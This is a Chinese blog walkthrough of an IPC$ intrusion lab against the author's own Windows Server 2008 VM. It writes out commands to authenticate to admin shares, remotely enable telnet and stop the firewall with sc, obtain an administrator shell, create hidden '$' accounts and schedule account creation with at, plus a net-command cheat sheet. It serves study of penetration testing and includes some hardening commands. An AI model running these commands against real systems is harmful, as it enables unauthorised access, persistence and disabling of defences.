基于 Win Server 2008 复现 IPC$ 漏洞

写在前面

本篇博客演示了使用 winXP(配合部分 win10 的命令)对 win server 2008 的 IPC$ 漏洞进行内网渗透,原本的实验是要求使用 win server 2003,使用 win server 2003 可以规避掉很多下面存在的问题,建议大家使用 win server 2003 作为靶机进行测试,这里使用 win server 2008 仅作渗透演示,涉及内容主要就是扫描、拿shell、命令执行,总结一些知识,仅供学习参考。

Copyright © [2024] [Myon⁶]. All rights reserved.

文章开始前给大家分享一个学习人工智能的网站,通俗易懂,风趣幽默
人工智能icon-default.png?t=N7T8https://www.captainbed.cn/myon/

 

~~~~~~~~~~正文开始~~~~~~~~~~

知识介绍: 

IPC$ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$ 是 NT2000 的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT2000 在提供了 IPC$ 共享功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$、D$、E$……)和系统目录共享(Admin$)。所有的这些初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者会利用 IPC$ ,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测。

为了配合IPC共享工作,Windows操作系统(不包括Windows 98系列)在安装完成后,自动设置共享的目录为:C盘、D盘、E盘、ADMIN目录(C:\Windows)等,即为 ADMIN$、C$、D$、E$ 等,但要注意,这些共享是隐藏的,只有管理员能够对他们进行远程操作。

使用 net 命令查看开启的共享:

net share

漏洞利用条件:

开放了 139、445 端口和 ipc$ 文件共享,并且我们已经获取到用户登录账号和密码。

测试靶机:Windows Server 2008 (内网 ip:192.168.249.129)

攻击机:Windows XP(ip 地址:192.168.249.137)

(后续部分命令基于 win10 物理机演示)

靶机虽然启动了 Windows 防火墙,但是允许文件共享,其余设置全为默认安装设置,并安装了所有补丁。(相当于是限定我们的渗透方向)

如下图,防火墙处于开启状态:

入站规则:启用文件和打印机共享

实验开始前先测试下网络:可以 ping 通

X-scan 扫描

在使用这个软件过程中遇到了一些问题,同样是进行 ip 段扫描

但是在物理机(win10)却扫描不到存活主机

参数配置:

扫描结果:

未发现存活主机

将软件放进虚拟机(XP系统),同样的参数配置

扫描结果:

成功扫到内网靶机 192.168.249.129

因为这个 win server 2008 是我的一台靶场机,所以会扫到这么多的漏洞

由于登录用户密码是我自定义修改过的,所以这里我们并没有扫到弱口令

正常来说,win server 2003 会扫到弱口令:administrator/123456

假设我们扫到了一个登录的弱口令,这也是 IPC$ 漏洞利用的条件之一

接下来我们分别演示利用 IPC$ 建立空连接和非空连接

我们可以无需用户名与密码与目标主机建立一个空的连接(前提是对方机器必须开了 IPC$ 共享),利用这个空的连接,我们可以得到目标主机上的用户列表。但是在 Windows2003 以后,空连接什么权限都没有,也就是说并没有太大实质的用处。

使用命令建立 IPC$ 空连接(即用户名和密码都为空):

net use \\192.168.249.129 /u:"" ""

查看共享连接 

net use

有些主机的 Administrator 管理员的密码为空,那么我们可以尝试进行空连接,但是大多数情况下服务器都阻止了使用空密码进行连接。

下面我们使用拿到的账号和密码进行 IPC$ 非空连接

使用命令:

net use \\192.168.249.129 密码 /user:administrator

遇到如下的报错,这是因为我们刚才建立的空连接没有断开,正如我们前面所说,每个客户端只能与远程计算机的 IPC$ 共享建立一个连接。

因此我们先断开刚才建立的连接:

net use \\192.168.249.129 /del

再次执行非空连接的命令,建立连接成功

这里顺便说一下用户权限的问题:

使用管理员组内用户( administrator 或其他管理员用户)建立 IPC$ 连接,可以执行所有命令;

而使用普通用户建立的 IPC$ 连接,仅能执行查看时间命令:net time \\192.168.249.129 。

这里我们也演示一下查看当前时间:

net time \\192.168.249.129 

尝试查看文件和目录:

dir \\192.168.249.129\c$

执行成功 

与靶机对比一下,内容完全一样

当然这个命令也可以直接在运行框执行

\\192.168.249.129\c$

结果如下图,我们就可以直接在这里进行图形化的操作

回到实验本身,我们使用 sc 命令获取目标计算机的所有服务列表,并保存在本地:

使用 > 符号输出到本地的 C 盘下一个名为 MY.txt 的文档里

sc \\192.168.249.129 query type= service state= all > c:\MY.txt

(特别注意一点,在两个等号后面一定要加上空格,否则你导出的结果会有问题) 

执行成功后我们就可以找到该文件

在进行这一步时遇到了以下问题:

1、系统资源不足 无法完成请求服务

2、sc 命令拒绝访问

3、导出文件内容为:[SC] EnumQueryServicesStatus:OpenService FAILED 1060:

解决方案:重启客户机,重新建立连接,执行命令时加上空格

查看我们导出的文件,使用快捷键 Ctrl+F 检索 telnet 

可以看到该服务处于禁用状态

并且我们可以获知服务名为:TlntSvr 

接下来我们设置 telnet 为自启动状态并启动它:

sc \\192.168.249.129 config tlntsvr start= autosc \\192.168.249.129 start tlntsvr

 

再次导出目标计算机的所有服务列表

可以看到 telnet 服务处于运行状态

为了便于后续的渗透操作,我们一般需要先对防火墙进行关闭

通过检索关键字  firewall 

可以得知该服务处于运行状态,并且服务名称是 MpsSvc

(由于我这里是使用 win server 2008 进行的演示,该实验原本是基于 win server 2003 进行的,在 win server 2003 中,防火墙名称叫 SharedAccess)

使用 sc 命令关闭防火墙:

sc \\192.168.249.129 stop MpsSvc

再次导出服务运行情况:

这里遇到了问题,无法获取到目标的服务列表情况

进行一些简单的命令测试,似乎已经无法与目标正确建立连接

查看目标防火墙状态,发现是刚才远程执行关闭防火墙命令所导致的

由于防火墙关闭时发生了错误,导致一些服务也无法正常工作

没办法我们只能重启靶机

(这里我进行了多次测试,都会出现这个错误,只能手动关闭防火墙了,2003 应该是没问题的)

重新在攻击机测试:

连接恢复正常

接下来我们尝试与目标计算机建立 telnet 连接 

直接使用 telnet 命令跟上目标 ip :

(注意这里没有反斜杠 \\ )

telnet 192.168.249.129

键入 y ,回车 

输入用户名和密码

用户名为:administrator

密码为自己的密码(win server 2003 默认是 123456)

出于安全考虑,输入的密码不会显示出来,其实是输入成功了的,直接回车即可

telnet 连接建立成功

查看当前 ip

ipconfig

已经是我们目标靶机的 ip:192.168.249.129 

查看一下当前权限:

whoami

 

由于 shell 已经建立,并且是最高管理员权限,我们便可以进行一系列想做的操作了。

新建普通账户:

net user MY 123456 /add

这里对密码的复杂度进行了限制,换句话说就是我们设置的密码太简单了 

经过多次尝试,发现密码需要包含大小写字母和数字

创建新账号成功

查看当前存在的账户:

net user

即可看到我们新建的 MY 账号 

下面我们新建隐藏用户:

使用 $ 符

注意:该方法仅能实现在命令行里隐藏账户,但是在图形化管理工具里该账户还是可见的

net user MY$ qaMY789 /add

说明:上述命令直接复制执行会出错的,需要自己敲一遍。

MY$ 用户创建成功,并且在命令行里面无法看见,一定程度上实现了隐藏

但是在图形化账户管理界面,MY$ 用户是可见的:

后续我们再介绍通过注册表实现用户的完全隐藏

关于 telnet 的利用就到此为止,我们再补充一些其他命令的利用。

首先使用 exit 断开 telnet 连接

1、tasklist 命令

该命令用于查看进程

tasklist /S 192.168.249.129 /U administrator -P 密码

在 XP 系统无法执行(版本太老了不认识这个命令)

因此换用 win 10 的终端

执行成功,回显如下图:

2、at命令

该命令用于添加计划任务,但是在 Windows Vista、Windows Server 2008 及之后版本的操作系统中已经弃用了 at 命令,而转为用 schtasks 命令,schtasks 命令比 at 命令更灵活,在使用schtasks 命令时,会在系统中留下日志文件:C:\Windows\Tasks\SchedLgU.txt

首先我们查看当前时间

net time \\192.168.249.129

假设我们让它在 02:42pm 的时候再新建一个名为 MY67 的用户:

at \\192.168.249.129 02:42pm net user MY67 qaMY123 /add

并在 02:42pm 前和 02:42pm 后分别执行 net user 命令查看存在的用户

结果如下:说明目标计算机执行了我们 at 命令计划的任务

此外,我又新建了三项计划任务

我们使用 at 命令列出所有计划执行的作业:

at

追加具体作业 id 号就可以查看作业的详细信息

at 8

删除特定编号的作业

at \\192.168.249.129 作业ID /del

比如我们删掉作业 8 

at \\192.168.249.129 8 /del

删除后我们只能看到作业 7 和 9 了

关于我这里使用两个 cmd 框的解释:

一个框是通过 telnet 连接拿到了对方的 shell ,也就是没有加 \\192.168.249.129 所执行的命令;

另一个框是我本地的 cmd 框,执行命令时都是加了 \\192.168.249.129 的。

因为 ipc$ 有一定的危险性,而且对于大多数人来说是没啥用的,可以通过如下命令关闭共享:

net share ipc$ /delete

删除 IPC$ 共享后,如果需要重新开启它,可以使用以下命令来重新创建 IPC$ 共享:

net share ipc$

 最后附上一些常见的共享命令:

net use: 查看本机建立的连接或连接到其他计算机。net session: 查看其他计算机连接到本机的会话,需要管理员权限执行。net share: 查看本地开启的共享。net share ipc$: 开启 IPC$ 共享。net share ipc$ /del: 删除 IPC$ 共享。
net share admin$ /del: 删除 ADMIN$ 共享。net share c$ /del: 删除 C$ 共享。net share d$ /del: 删除 D$ 共享。net use * /del: 删除所有连接。net use \\192.168.249.129: 与指定 IP 地址建立 IPC 空连接。net use \\192.168.249.129\ipc$: 与指定 IP 地址建立 IPC 空连接。net use \\192.168.249.129\ipc$ /u:"" "": 以空用户名和密码与指定 IP 地址建立 IPC 空连接。net view \\192.168.249.129: 查看指定 IP 地址上的默认共享。net use \\192.168.249.129 /u:"administrator" "hacker": 以管理员身份与指定 IP 地址建立 IPC 
连接。net use \\192.168.249.129 /del: 删除指定 IP 地址上的 IPC 连接。net time \\192.168.249.129: 查看指定 IP 地址上的时间。net use \\192.168.249.129\c$ /u:"administrator" "hacker": 以管理员身份连接到指定 IP 地址的 C$ 共享。dir \\192.168.249.129\c$: 查看指定 IP 地址上 C 盘的文件。net use \\192.168.249.129\c$ /del: 删除指定 IP 地址上的 C$ 共享连接。net use k: \\192.168.249.129\c$ /u:"administrator" "hacker": 将指定 IP 地址的 C 盘映射到本地 K 盘。net use k: /del: 删除本地 K 盘的映射。

Copyright © [2024] [Myon⁶]. All rights reserved.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/519924.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

k8s 网络概念与策略控制

一、Kubernetes 基本网络模型 Kubernetes 的容器网络模型可以把它归结为约法三章和四大目标。 1、约法三章 约法三章确保了Kubernetes容器网络模型的基本特性: ① 任意两个 pod 之间可以直接通信:在Kubernetes中,每个 Pod 都被分配了一个…

ResponseStatusException

目录 概述: 综合实例: 继承 ResponseStatusException-自定义异常类 继承 ResponseStatusException-自定义响应头信息 继承 ResponseStatusException-定制更多异常处理逻辑 继承 ResponseStatusException-根据异常发生的上下文动态改变 HTTP 状态码…

网络协议栈--应用层--HTTP协议

目录 本节重点理解应用层的作用, 初识HTTP协议 一、应用层二、HTTP协议2.1 认识URL2.2 urlencode和urldecode2.3 HTTP协议格式2.4 HTTP的方法2.4 HTTP的状态码2.5 HTTP常见的Header属性 三、最简单的HTTP服务器3.1 HttpServer.hpp3.2 HttpServer.cc3.3 HttpClient.cc3.4 log.hp…

Allure小白下载安装

1、下载官网地址:https://github.com/allure-framework/allure2/releases 2、下载安装包后需要解压到一个非中文名称路径下 3、配置环境变量 D:\Allure\allure-2.27.0\bin 我的电脑右键选择属性,高级系统设置,环境变量 4、CMD查看安装all…

QGIS3.34官方版本已经不能支持Win7,如果需要在WIN7上使用,请用微云上我打包的

在网上看到有些网友在WIN7上安装官方发布的QGIS安装,会遇到上述问题,而不能正常运行! 我打包的QGIS可以在WIN7上正常运行,这个我专门测试过。 详见: 打包了一个QGIS3.34分享给大家 下载地址:文件分享 软…

WordPress供求插件API文档:用户登录

该文档为WordPress供求插件文档,详情请查看 WordPress供求插件:一款专注于同城生活信息发布的插件-CSDN博客文章浏览阅读67次。WordPress供求插件:sliver-urban-life 是一款专注于提供同城生活信息发布与查看的插件,该插件可以实…

水牛社:专为创业者和网赚小白精心打造的助手

近几年来,经济发展快是快,物价也在蹭蹭往上涨,但工资却不见明显提升,随着生活成本的增加,单单靠工资,已经很难维持生活开支,加之疫情的影响,很多行业发展不景气,一些岗位…

liunx操作系统 环境变量

环境变量 main函数参数 命令行参数环境变量 环境变量的查看环境变量的获取 main函数参数 命令行参数 main函数是有参数的,只是我们一般不适用 这是main函数从bash中读取进程数据使用的一个基本入口。 下面进行简单演示。 o 好oo都是我们输入的命令行参数。其实&a…

【CSP试题回顾】201503-3-节日

CSP-201503-3-节日 关键点:格式化输出 在C中,格式化输出通常利用iostream库中的功能,特别是iomanip头文件提供的一系列操作符。这些操作符用于控制输出格式,如宽度、填充、对齐方式等。在你提供的代码中,用于格式化输…

换个角度看禅让制止于禹

前言 在历史课本上,对尧、舜、禹三代君王的描述是,他们在去世之前通过禅让制的方式把自己的王位禅让给了其他有贤明的能臣。 禅让制也是中国古代时期被无数的文人志士追捧的一个制度,因为他们觉得那个时代是公天下的时代。 可实际上自从人…

lanqiao:合根植物

题目描述: 代码实现:

江苏某机场多座超高端智慧公厕上线

作为行业信息化程度最高的智慧机场综合管理系统,能为旅客、航空公司以及机场自身的业务管理提供及时、准确、系统、完整的信息服务,达到信息高度统一、共享、调度严密、管理先进和服务优质的目的。而其中的智慧卫生间建设,更是提升机场旅客服…